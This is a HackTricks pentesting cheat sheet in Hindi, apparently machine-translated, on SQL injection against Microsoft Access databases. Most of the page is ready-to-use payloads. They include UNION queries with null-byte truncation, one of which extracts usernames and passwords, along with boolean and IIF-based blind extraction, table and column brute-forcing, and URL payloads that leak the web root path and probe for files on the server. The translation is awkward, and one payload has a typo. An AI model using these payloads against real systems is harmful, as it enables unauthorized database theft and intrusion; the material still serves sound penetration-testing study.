16 KiB
MS Access SQL Injection
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
दूसरे तरीके HackTricks का समर्थन करने के लिए:
- अगर आप अपनी कंपनी को HackTricks में विज्ञापित करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!
- आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें
- शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PRs सबमिट करके।
ऑनलाइन प्लेग्राउंड
डेटाबेस सीमाएँ
स्ट्रिंग कंकेटनेशन
स्ट्रिंग कंकेटनेशन & (%26)
और + (%2b)
चरित्रों के साथ संभव है।
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
टिप्पणियाँ
MS एक्सेस में कोई टिप्पणियाँ नहीं होती हैं, लेकिन एक NULL चार के साथ क्वेरी का अंत हटाना संभव है:
1' union select 1,2 from table%00
यदि यह काम नहीं कर रहा है तो आप हमेशा क्वेरी की सिंटेक्स को ठीक कर सकते हैं:
1' UNION SELECT 1,2 FROM table WHERE ''='
Stacked Queries
वे समर्थित नहीं हैं।
LIMIT
LIMIT
ऑपरेटर लागू नहीं है। हालांकि, TOP
ऑपरेटर का उपयोग करके SELECT क्वेरी के परिणामों को पहले N सारणी की पंक्तियों तक सीमित करना संभव है। TOP
एक पूर्णांक को तर्क के रूप में स्वीकार करता है, जो वापस लौटाए जाने वाली पंक्तियों की संख्या को प्रतिनिधित करता है।
1' UNION SELECT TOP 3 attr FROM table%00
जैसे TOP का उपयोग कर सकते हैं LAST
जो अंत से पंक्तियों को प्राप्त करेगा।
संघ जांच/सब-प्रश्न
एक SQLi में आप आम तौर पर किसी नए प्रश्न को कैसे निष्क्रिय करें ताकि अन्य तालिकाओं से जानकारी निकाली जा सके। MS Access हमेशा सब-प्रश्नों या अतिरिक्त प्रश्नों में FROM
का संकेत देने की आवश्यकता होती है।
इसलिए, यदि आप UNION SELECT
या UNION ALL SELECT
या एक SELECT
को कोई स्थिति में ब्रैकेट के बीच निष्पादित करना चाहते हैं, तो आपको हमेशा एक मान्य तालिका नाम के साथ FROM
का संकेत देना होगा।
इसलिए, आपको एक मान्य तालिका नाम को जानने की आवश्यकता है।
-1' UNION SELECT username,password from users%00
बराबर + उपस्थिति
{% hint style="warning" %} यह आपको वर्तमान सारणी के मानों को बाहर निकालने की अनुमति देगा बिना तालिका के नाम को जानने की आवश्यकता के। {% endhint %}
MS Access अजीब सिंटैक्स जैसे '1'=2='3'='asd'=false
की अनुमति देता है। जैसा कि सामान्यत: SQL इन्जेक्शन WHERE
शर्त के अंदर होगा हम उसका दुरुपयोग कर सकते हैं।
कल्पित करें कि आपके पास एक MS Access डेटाबेस में SQLi है और आपको पता है (या अनुमान लगाया है) कि एक कॉलम का नाम उपयोगकर्ता नाम है, और यही फ़ील्ड आप बाहर निकालना चाहते हैं। आप बराबर तकनीक का उपयोग करके वेब ऐप्लिकेशन के विभिन्न प्रतिक्रियाएँ जांच सकते हैं जब यह तकनीक उपयोग किया जाता है और संभावित रूप से Mid
फ़ंक्शन का उपयोग करके उपस्थिति इन्जेक्शन के साथ सामग्री को बाहर निकाल सकते हैं।
'=(Mid(username,1,3)='adm')='
यदि आप तालिका का नाम और कॉलम जानते हैं तो आप Mid
, LAST
और TOP
के बीच का संयोजन करके बूलियन SQLi के माध्यम से सभी जानकारी लीक कर सकते हैं:
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
टेबल नामों को ब्रूटफोर्स करना
चेनिंग इक्वल्स तकनीक का उपयोग करके आप कुछ इस प्रकार से टेबल नामों को ब्रूटफोर्स कर सकते हैं:
'=(select+top+1+'lala'+from+<table_name>)='
आप एक और पारंपरिक तरीका भी उपयोग कर सकते हैं:
-1' AND (SELECT TOP 1 <table_name>)%00
Feel free to check this in the online playground.
- Sqlmap common table names: https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt
- There is another list in http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
स्तंभों के नामों को ब्रूट-फोर्सिंग
आप चेनिंग बराबर ट्रिक के साथ मौजूदा स्तंभों के नामों को ब्रूट-फोर्स कर सकते हैं:
'=column_name='
या एक समूह द्वारा:
-1' GROUP BY column_name%00
या आप इस तरह से एक विभिन्न तालिका के स्तंभों को ब्रूट-फोर्स कर सकते हैं:
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
डेटा डंप करना
हम पहले ही बराबरी चेनिंग तकनीक की चर्चा कर चुके हैं वर्तमान और अन्य तालिकाओं से डेटा डंप करने के लिए। लेकिन इसके अलावा भी और तरीके हैं:
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
एक झलक में, क्वेरी एक "अगर-तो" विधान का उपयोग करती है ताकि सफलता के मामले में "200 OK" को ट्रिगर कर सके या अन्यथा "500 आंतरिक त्रुटि" को। TOP 10 ऑपरेटर का लाभ उठाते हुए, पहले दस परिणामों का चयन करना संभव है। LAST का उपयोग करने से केवल 10वें टपल को विचार में लिया जा सकता है। इस मान पर, MID ऑपरेटर का उपयोग करके एक सरल वर्ण तुलना करना संभव है। MID और TOP के सूचक को ठीक से बदलकर, हम सभी पंक्तियों के "उपयोगकर्ता नाम" क्षेत्र की सामग्री डंप कर सकते हैं।
समय आधारित
https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN की जाँच करें
अन्य दिलचस्प फ़ंक्शन
Mid('admin',1,1)
पोजिशन 1 लंबाई 1 से उपस्थिति का उपस्थिति प्राप्त करें (प्रारंभिक स्थान 1 है)LEN('1234')
स्ट्रिंग की लंबाई प्राप्त करेंASC('A')
वर्ण का एस्की मूल्य प्राप्त करेंCHR(65)
एस्की मूल्य से स्ट्रिंग प्राप्त करेंIIF(1=1,'a','b')
अगर तोCOUNT(*)
आइटमों की संख्या गणना करें
सारणीय तालिकाएँ
यहाँ से आप तालिकाओं के नाम प्राप्त करने के लिए एक क्वेरी देख सकते हैं:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
हालांकि, ध्यान दें कि एसक्यूएल इन्जेक्शन को आमतौर पर पाया जाता है जहां आपको टेबल `MSysObjects` को पढ़ने का एक्सेस नहीं होता।
## FileSystem एक्सेस
### वेब रूट डायरेक्टरी पूर्ण पथ
**वेब रूट एब्सोल्यूट पथ का ज्ञान आगे के हमलों को सुविधाजनक बना सकता है**। यदि एप्लिकेशन त्रुटियों को पूरी तरह से छुपाया नहीं गया है, तो डायरेक्टरी पथ को अनकवर करना संभव है जब एक अस्थायी डेटाबेस से डेटा का चयन करने का प्रयास किया जाता है।
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access एक **त्रुटि संदेश जो वेब डायरेक्टरी पूर्ण पथनाम** शामिल है के साथ प्रतिक्रिया करता है।
### फ़ाइल गणना
निम्नलिखित हमला वेक्टर का उपयोग किया जा सकता है **दूरस्थ फ़ाइल प्रणाली पर फ़ाइल के अस्तित्व को अनुमानित करने के लिए**। यदि निर्दिष्ट फ़ाइल मौजूद है, तो MS Access एक त्रुटि संदेश को ट्रिगर करता है जिसमें बताया जाता है कि डेटाबेस प्रारूप अमान्य है:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
फ़ाइलें गणना करने का एक और तरीका **एक डेटाबेस.टेबल आइटम को निर्दिष्ट करने में समाहित है**। **अगर** निर्दिष्ट **फ़ाइल मौजूद है**, तो MS Access एक **डेटाबेस प्रारूप त्रुटि संदेश** प्रदर्शित करता है।
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### .mdb फ़ाइल नाम अनुमान
**डेटाबेस फ़ाइल नाम (.mdb)** निम्नलिखित क्वेरी के साथ अनुमानित किया जा सकता है:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
जहां **नाम\[i] एक .mdb फ़ाइल नाम** है और **realTable डेटाबेस के भीतर मौजूद एक मौजूदा टेबल** है। हालांकि MS Access हमेशा एक त्रुटि संदेश को ट्रिगर करेगा, लेकिन एक अमान्य फ़ाइल नाम और एक वैध .mdb फ़ाइल नाम के बीच भिन्न किया जा सकता है।
### .mdb पासवर्ड क्रैकर
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) एक मुफ्त उपयोगीता है जिसका उपयोग Microsoft Access 95/97/2000/XP या Jet Database Engine 3.0/4.0 के मुख्य डेटाबेस पासवर्ड को पुनर्प्राप्त करने के लिए किया जा सकता है।
## संदर्भ
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)